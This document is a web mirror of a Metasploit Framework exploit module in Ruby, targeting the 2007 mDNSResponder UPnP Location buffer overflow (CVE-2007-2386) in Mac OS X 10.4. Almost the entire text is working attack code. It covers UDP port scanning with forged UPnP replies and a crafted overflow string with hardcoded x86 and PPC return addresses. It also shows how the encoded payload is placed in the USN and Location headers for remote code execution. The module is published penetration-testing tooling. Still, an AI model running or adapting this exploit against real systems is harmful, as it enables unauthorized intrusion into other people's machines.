Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/mdns/upnp_location.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow that occurs when processing
18
specially crafted requests set to mDNSResponder. All Mac OS X systems
19
between version 10.4 and 10.4.9 (without the 2007-005 patch) are
20
affected.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'ddz'
25
],
26
'References' => [
27
[ 'OSVDB', '35142' ],
28
[ 'CVE', '2007-2386' ],
29
[ 'BID', '24144' ],
30
[ 'URL', 'http://support.apple.com/kb/TA24732' ]
31
],
32
'DefaultOptions' => {
33
'SRVPORT' => 1900,
34
'RPORT' => 0
35
},
36
'Payload' => {
37
'BadChars' => "\x00\x3a\x2f",
38
'StackAdjustment' => 0,
39
'Space' => 468
40
},
41
'Platform' => 'osx',
42
'Targets' => [
43
[
44
'10.4.8 x86',
45
{ # mDNSResponder-108.2
46
'Arch' => ARCH_X86,
47
# Offset to mDNSStorage structure
48
'Offset' => 21000,
49
'Magic' => 0x8fe510a0,
50
'g_szRouterHostPortDesc' => 0x53dc0,
51
}
52
],
53
[
54
'10.4.0 PPC',
55
{ # mDNSResponder-107
56
'Arch' => ARCH_PPC,
57
'Offset' => 21000,
58
'Magic' => 0x8fe51f4c,
59
'Ret' => 0x8fe41af8,
60
}
61
]
62
],
63
'DisclosureDate' => '2007-05-25',
64
'DefaultTarget' => 1,
65
'Notes' => {
66
'Reliability' => UNKNOWN_RELIABILITY,
67
'Stability' => UNKNOWN_STABILITY,
68
'SideEffects' => UNKNOWN_SIDE_EFFECTS
69
}
70
)
71
)
72
73
register_options(
74
[
75
Opt::LHOST(),
76
OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
77
]
78
)
79
80
@mutex = Mutex.new()
81
@found_upnp_port = false
82
@key_to_port = Hash.new()
83
@upnp_port = 0
84
@client_socket = nil
85
end
86
87
def check
88
#
89
# TODO: Listen on two service ports, one a single character
90
# shorter than the other (i.e 1900 and 19000). If the copy was
91
# truncated by strlcpy, it will connect to the service listening
92
# on the shorter port number.
93
#
94
upnp_port = scan_for_upnp_port()
95
if (upnp_port > 0)
96
return Exploit::CheckCode::Detected
97
else
98
return Exploit::CheckCode::Unsupported
99
end
100
end
101
102
def upnp_server(server)
103
client = server.accept()
104
request = client.readline()
105
if (request =~ /GET \/([\da-f]+).xml/)
106
@mutex.synchronize {
107
@found_upnp_port = true
108
@upnp_port = @key_to_port[$1]
109
110
# Important: Keep the client connection open
111
@client_socket = client
112
}
113
end
114
end
115
116
def scan_for_upnp_port
117
@upnp_port = 0
118
@found_upnp_port = false
119
120
upnp_port = 0
121
122
# XXX: Do this in a more Metasploit-y way
123
server = TCPServer.open(1900)
124
server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }
125
126
begin
127
socket = Rex::Socket.create_udp
128
129
upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'].to_s
130
131
print_status("Listening for UPNP requests on: #{upnp_location}")
132
print_status("Sending UPNP Discovery replies...")
133
134
i = 49152;
135
while i < 65536 && @mutex.synchronize {
136
@found_upnp_port == false
137
}
138
key = sprintf("%.2x%.2x%.2x%.2x%.2x",
139
rand(255), rand(255), rand(255), rand(255), rand(255))
140
141
@mutex.synchronize {
142
@key_to_port[key] = i
143
}
144
145
upnp_reply = "HTTP/1.1 200 Ok\r\n" +
146
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
147
"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
148
"Location: #{upnp_location}/#{key}.xml\r\n\r\n"
149
150
socket.sendto(upnp_reply, datastore['RHOST'], i)
151
152
i += 1
153
end
154
155
@mutex.synchronize {
156
if (@found_upnp_port)
157
upnp_port = @upnp_port
158
end
159
}
160
ensure
161
server.close
162
server_thread.join
163
end
164
165
return upnp_port
166
end
167
168
def exploit
169
#
170
# It is very important that we scan for the upnp port. We must
171
# receive the TCP connection and hold it open, otherwise the
172
# code path that uses the overwritten function pointer most
173
# likely won't be used. Holding this connection increases the
174
# chance that the code path will be used dramatically.
175
#
176
upnp_port = scan_for_upnp_port()
177
178
if upnp_port == 0
179
fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket")
180
end
181
182
datastore['RPORT'] = upnp_port
183
184
socket = connect_udp()
185
186
if (target['Arch'] == ARCH_X86)
187
space = "A" * target['Offset']
188
space[0, payload.encoded.length] = payload.encoded
189
190
pattern = Rex::Text.pattern_create(47)
191
pattern[20, 4] = [target['Magic']].pack('V')
192
pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]
193
194
boom = space + pattern
195
usn = ""
196
197
elsif (target['Arch'] == ARCH_PPC)
198
space = "A" * target['Offset']
199
200
pattern = Rex::Text.pattern_create(48)
201
pattern[20, 4] = [target['Magic']].pack('N')
202
203
#
204
# r26, r27, r30, r31 point to g_szUSN+556
205
# Ret should be a branch to one of these registers
206
# And we make sure to put our payload in the USN header
207
#
208
pattern[44, 4] = [target['Ret']].pack('N')
209
210
boom = space + pattern
211
212
#
213
# Start payload at offset 556 within USN
214
#
215
usn = "A" * 556 + payload.encoded
216
end
217
218
upnp_reply = "HTTP/1.1 200 Ok\r\n" +
219
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
220
"USN: #{usn}\r\n" +
221
"Location: http://#{boom}\r\n\r\n"
222
223
print_status("Sending evil UPNP response")
224
socket.put(upnp_reply)
225
226
print_status("Sleeping to give mDNSDaemonIdle() a chance to run")
227
select(nil, nil, nil, 10)
228
229
handler()
230
disconnect_udp()
231
end
232
end
233
234